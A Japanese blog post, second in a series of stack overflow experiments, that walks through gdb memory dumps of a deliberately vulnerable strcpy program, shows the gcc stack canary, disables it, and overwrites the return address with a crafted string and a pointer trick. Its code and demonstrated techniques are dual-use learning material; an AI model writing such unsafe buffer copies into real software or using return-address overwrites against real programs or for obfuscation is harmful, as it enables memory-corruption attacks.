脆弱性に関する実験:スタックオーバーフロー(その02)
戻りアドレスの書き換えによるロジックの変更に関する実験
さて、スタックに書き込んだプログラムは実行できないことが分かりましたが、スタックに対して関数からの戻りアドレスを上書きできるかどうかを確認しておきます。
次のプログラムはワザとスタック オーバーフローを起こすように書いてあります。(経験の浅いプログラマが書くことも多いようですから注意しなければなりません。)
#include <stdio.h> #include <string.h> static char src[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; void func(void) { char dst[4]; strcpy(dst, src); printf("dst = \"%s\"\n", dst); } int main(void) { printf("Calling \"func\"\n"); func(); printf("Returned from \"func\"\n"); return 0; }
これを次のようにコンパイル、実行してみます。
ubuntu@ubuntu1304d64:~/Temp$ cc -o unsecure unsecure.c ubuntu@ubuntu1304d64:~/Temp$ ./unsecure Calling "func" dst = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" *** stack smashing detected ***: ./unsecure terminated Aborted (core dumped) ubuntu@ubuntu1304d64:~/Temp$
しっかりとスタックが壊れたことを検知して、func関数から変な場所へジャンプしないように制御しています。ただ、面白いのはstrcpyから戻った直後にチェックするのではなく、その後、printfを実行してからfunc関数から戻る前にチェックしています。gdbでfunc関数のアセンブラを見ましょう。
(gdb) disassemble func Dump of assembler code for function func: 0x000000000040062c <+0>: push %rbp 0x000000000040062d <+1>: mov %rsp,%rbp 0x0000000000400630 <+4>: sub $0x10,%rsp 0x0000000000400634 <+8>: mov %fs:0x28,%rax 0x000000000040063d <+17>: mov %rax,-0x8(%rbp) 0x0000000000400641 <+21>: xor %eax,%eax 0x0000000000400643 <+23>: lea -0x10(%rbp),%rax 0x0000000000400647 <+27>: mov $0x601060,%esi 0x000000000040064c <+32>: mov %rax,%rdi 0x000000000040064f <+35>: callq 0x4004e0 <strcpy@plt> 0x0000000000400654 <+40>: lea -0x10(%rbp),%rax 0x0000000000400658 <+44>: mov %rax,%rsi 0x000000000040065b <+47>: mov $0x400754,%edi 0x0000000000400660 <+52>: mov $0x0,%eax 0x0000000000400665 <+57>: callq 0x400510 <printf@plt> 0x000000000040066a <+62>: mov -0x8(%rbp),%rax 0x000000000040066e <+66>: xor %fs:0x28,%rax 0x0000000000400677 <+75>: je 0x40067e <func+82> 0x0000000000400679 <+77>: callq 0x400500 <__stack_chk_fail@plt> 0x000000000040067e <+82>: leaveq 0x000000000040067f <+83>: retq End of assembler dump. (gdb)
どこでチェックしているかと言うと+8~+17でスタック フレームに“仕掛け”をしておいて、+62~+66で“検知”をしています。スタック フレームの“底”の部分にある数値を書き込んでおいて、関数から戻る前に、その数値が変更されていないかをチェックしています。つまり、底を突き抜けて下の階までスタックを破壊していないか確認しているわけです。
その挙動を追いかけてみましょう。
(gdb) b func Breakpoint 1 at 0x400630 (gdb) run Starting program: /home/ubuntu/Temp/unsecure warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 Calling "func" Breakpoint 1, 0x0000000000400630 in func () (gdb) x/12xw $rsp 0x7fffffffe450: 0xffffe460 0x00007fff 0x00400693 0x00000000 0x7fffffffe460: 0x00000000 0x00000000 0xf7a33ea5 0x00007fff 0x7fffffffe470: 0x00000000 0x00000000 0xffffe548 0x00007fff (gdb)
これは関数が呼ばれた直後(+1まで実行済みのスタックの状態です。スタックポインタ レジスタの値は0x7fffffffe450で、ここが現在のスタックの天井となり、そこから上がfunc関数が使える領域です。逆にそこから下はfunc関数を呼び出したmain関数の領域となります。0x7fffffffe458~0x7fffffffe45fにはmain関数への戻りアドレス 0x0000000000400693 格納されています。その上にある0x7fffffffe450~0x7fffffffe457にはmain関数のスタック フレームのアドレス(0x00007fffffffe460)が入っていて、func関数から戻るときにこの値をベースポインタ レジスタに戻すことによって、main関数のスタック フレームが再現されます。
アドレス | 値 | 持ち主 | 値の意味 |
---|---|---|---|
0x7fffffffe450 | 0xffffe460 | func | mainのbp(下位) |
0x7fffffffe454 | 0x00007fff | func | mainのbp(上位) |
0x7fffffffe458 | 0x00400693 | func | mainへの戻りアドレス(下位) |
0x7fffffffe45c | 0x00000000 | func | mainへの戻りアドレス(上位) |
0x7fffffffe460 | 0x00000000 | main | システムのbp(下位) |
0x7fffffffe464 | 0x00000000 | main | システムのbp(上位) |
0x7fffffffe468 | 0xf7a33ea5 | main | start_mainへの戻りアドレス(下位) |
0x7fffffffe46c | 0x00007fff | main | start_mainへの戻りアドレス(上位) |
0x7fffffffe470 | 0x00000000 | start_main | 作業領域 |
0x7fffffffe474 | 0x00000000 | start_main | 作業領域 |
0x7fffffffe478 | 0xffffe548 | start_main | 作業領域 |
0x7fffffffe47c | 0x00007fff | start_main | 作業領域 |
さて、この段階ではまだfuncのスタック フレームは構成されていないので、まずはスタックフレームを構成します。1命令進めるとスタック フレームが出来上がります。
(gdb) ni 0x0000000000400634 in func () (gdb) x/12xw $rsp 0x7fffffffe440: 0x00000000 0x00000000 0xffffe460 0x00007fff 0x7fffffffe450: 0xffffe460 0x00007fff 0x00400693 0x00000000 0x7fffffffe460: 0x00000000 0x00000000 0xf7a33ea5 0x00007fff (gdb)
スタックポインタ レジスタが16バイト減って 0x7fffffffe440となりました。つまり、この0x7fffffffe440~0x7fffffffe44fがfuncのローカル変数領域です。funcのローカル変数であるdstのアドレスは0x7fffffffe440~0x7fffffffe447になります。
次にスタック オーバーフロー検知用のデータを書き込んだ状態です。
gdb) ni 2 0x0000000000400641 in func () (gdb) x/12xw $rsp 0x7fffffffe440: 0x00000000 0x00000000 0xc8bec500 0xaa91ccac 0x7fffffffe450: 0xffffe460 0x00007fff 0x00400693 0x00000000 0x7fffffffe460: 0x00000000 0x00000000 0xf7a33ea5 0x00007fff (gdb)
0x7fffffffe448~0x7fffffffe44f番地に0xaa91ccacc8bec50というデータが書き込まれました。関数から戻る際に、これが書き変わっているとスタックに問題ありとして扱われ、関数から戻らずエラーとなります。
さて、strcpyを実行した直後の状態を見ましょう。
gdb) b *0x0000000000400654 Breakpoint 2 at 0x400654 (gdb) c Continuing. Breakpoint 2, 0x0000000000400654 in func () (gdb) x/12xw $rsp 0x7fffffffe440: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d 0x7fffffffe450: 0x54535251 0x58575655 0x00005a59 0x00000000 0x7fffffffe460: 0x00000000 0x00000000 0xf7a33ea5 0x00007fff (gdb)
アルファベットの“A”は0x41ですからdstの0x7fffffffe440番地から0x7fffffffe45a番地まで 41、42、43、… と26バイトが書き変わっています。もしこの状態でスタックのチェックをしないでfunc関数からmain関数に戻ろうとすると本来の戻りアドレス 0x000000000x00400693 ではなく 0x0000000000005a59 へ戻ることになります。
しかし、スタックチェック用の領域が書き変わっているためにスタックに異常ありとしてメッセージを出力後、プログラムはSIGABRTシグナルで停止します
このスタックのチェック機能はコンパイラのフラグ オプションで無効にすることができます。次の様にコンパイルして、生成されたオブジェクト コードを見てみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o unsecure unsecure.c -fno-stack-protector ubuntu@ubuntu1304d64:~/Temp$ gdb ./unsecure (gdb) disassemble func Dump of assembler code for function func: 0x00000000004005bc <+0>: push %rbp 0x00000000004005bd <+1>: mov %rsp,%rbp 0x00000000004005c0 <+4>: sub $0x10,%rsp 0x00000000004005c4 <+8>: lea -0x10(%rbp),%rax 0x00000000004005c8 <+12>: mov $0x601050,%esi 0x00000000004005cd <+17>: mov %rax,%rdi 0x00000000004005d0 <+20>: callq 0x400480 <strcpy@plt> 0x00000000004005d5 <+25>: lea -0x10(%rbp),%rax 0x00000000004005d9 <+29>: mov %rax,%rsi 0x00000000004005dc <+32>: mov $0x4006c4,%edi 0x00000000004005e1 <+37>: mov $0x0,%eax 0x00000000004005e6 <+42>: callq 0x4004a0 <printf@plt> 0x00000000004005eb <+47>: leaveq 0x00000000004005ec <+48>: retq End of assembler dump. (gdb)
確かにチェック用のコードらしきものは入っていません。これを実行すればプログラムが暴走するハズです。では、
(gdb) run Starting program: /home/ubuntu/Temp/unsecure warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 Calling "func" dst = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" Program received signal SIGSEGV, Segmentation fault. 0x0000000000005a59 in ?? () (gdb)
予想どおりの暴走です。func関数から0x0000000000005a59というアドレスへ戻ろうとしてSIGSEGV違反を起こしています。
それでは、ちょっと遊んでみましょう。次のようにプログラムをちょっとだけ直してみます。(src変数の文字列の最後の部分)
#include <stdio.h> #include <string.h> static char src[] = "ABCDEFGHIJKLMNOPQRSTUVWX\xfb\x05\x40"; void func(void) { char dst[4]; strcpy(dst, src); printf("dst = \"%s\"\n", dst); } int main(void) { printf("Calling \"func\"\n"); func(); printf("Returned from \"func\"\n"); return 0; }
これをコンパイルして実行すると、
ubuntu@ubuntu1304d64:~/Temp$ cc -o unsecure unsecure.c -fno-stack-protector ubuntu@ubuntu1304d64:~/Temp$ ./unsecure Calling "func" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" dst = "ABCDEFGHIJKLMNOPQRSTUVWX涖" : :
暴走して止まらなくなりました。スタックに積まれている戻りアドレスとして、func関数を呼び出す命令のアドレスに書き換えてあるので、func関数から戻っても直ぐにfunc関数を呼び出すため、無限にfunc関数を呼び出すことになります。
これを上手く使えば、トリッキーなプログラムを作ることができると思います。リバースエンジニアで逆アセンブルしただけではロジックを追いかけられないコードを作成することができるでしょう。
例えば、
#include <stdio.h> int func(int i) { long * j; j = (long *) &j; j = j + 2; *j = *j + 3; return i * 2; } int main(void) { int ans; ans = func(5) + 1; printf("Answer = \"%d\"\n", ans); return 0; }
func関数で変数“i”に関しては2倍しているだけです。main関数では“5”をfunc関数に渡していますから、それに1を足した“11”が答えとなるはずです。では、コンパイルして実行してみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o tricky tricky.c ubuntu@ubuntu1304d64:~/Temp$ ./tricky Answer = "10" ubuntu@ubuntu1304d64:~/Temp$
答えは“10”になっています。これはfunc関数の中でfunc関数自身のスタック フレームから戻りアドレスを本来のアドレスではなく、“+1”を計算する命令の次のアドレスに変更して戻るからです。変数jの計算がそれになります。コンパイルした結果は次のようになります。
(gdb) disassemble func Dump of assembler code for function func: 0x000000000040052c <+0>: push %rbp 0x000000000040052d <+1>: mov %rsp,%rbp 0x0000000000400530 <+4>: mov %edi,-0x14(%rbp) 0x0000000000400533 <+7>: lea -0x8(%rbp),%rax 0x0000000000400537 <+11>: mov %rax,-0x8(%rbp) 0x000000000040053b <+15>: mov -0x8(%rbp),%rax 0x000000000040053f <+19>: add $0x10,%rax 0x0000000000400543 <+23>: mov %rax,-0x8(%rbp) 0x0000000000400547 <+27>: mov -0x8(%rbp),%rax 0x000000000040054b <+31>: mov -0x8(%rbp),%rdx 0x000000000040054f <+35>: mov (%rdx),%rdx 0x0000000000400552 <+38>: add $0x3,%rdx 0x0000000000400556 <+42>: mov %rdx,(%rax) 0x0000000000400559 <+45>: mov -0x14(%rbp),%eax 0x000000000040055c <+48>: add %eax,%eax 0x000000000040055e <+50>: pop %rbp 0x000000000040055f <+51>: retq End of assembler dump. (gdb)
これを応用すれば、色々なことが出来そうです。
さて、この例ではコンパイラの“-fno-stack-protector”オプションを指定しなくても(つまりスタックの監視有りでも)スタックを変更して戻りアドレスを変更しています。しかし、コンパイルしたオブジェクト コードを見ると“-fno-stack-protector”オプションを指定していないのにスタック監視用のコードがありません。どうもコンパイラがスタック監視用のコードが必要かどうか判断して、この例のfunc関数には監視用コードが無いようです。コンパイラに詳しいわけではないので推測ですが、配列などの操作を伴わない場合は(故意による書き換えは別として)うっかりスタックを壊す可能性は少ないと判断しているのではないでしょうか。
先の例で見られたスタックの監視はスタックの“底”に特殊なデータを置いて起き、それが変更されていないかを確認します。配列の様に上から順に書き換えて配列のサイズを超えてしまう場合は、この底のマークが有効に働きますが、上の例の様にピンポイントでアドレスの有る場所を書き換えてしまう場合には効果ありません。実際、上の例に配列のローカル変数を加えて、スタック監視のコードが有るようにしても、問題なく戻りアドレスを変更することができます。あくまでもバグからプログラムを保護できる程度と考えた方が良さそうです。
脆弱性に関する実験:スタックオーバーフロー編(リンク)
脆弱性に関する実験:スタックオーバーフロー(その01) - AIDEMOIRE
スタックへのマシン語の書き込みとその実行に関する実験
脆弱性に関する実験:スタックオーバーフロー(その02) - AIDEMOIRE
戻りアドレスの書き換えによるロジックの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その03) - AIDEMOIRE
プログラムによる自分自身のプログラムの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その04) - AIDEMOIRE
スタックの書き換えによるシェルの起動
脆弱性に関する実験:スタックオーバーフロー(その05) - AIDEMOIRE
スタックオーバーフローの脆弱性に関する考察
脆弱性に関する実験:スタックオーバーフロー(その06) - AIDEMOIRE
スタック上のプログラムを実行する方法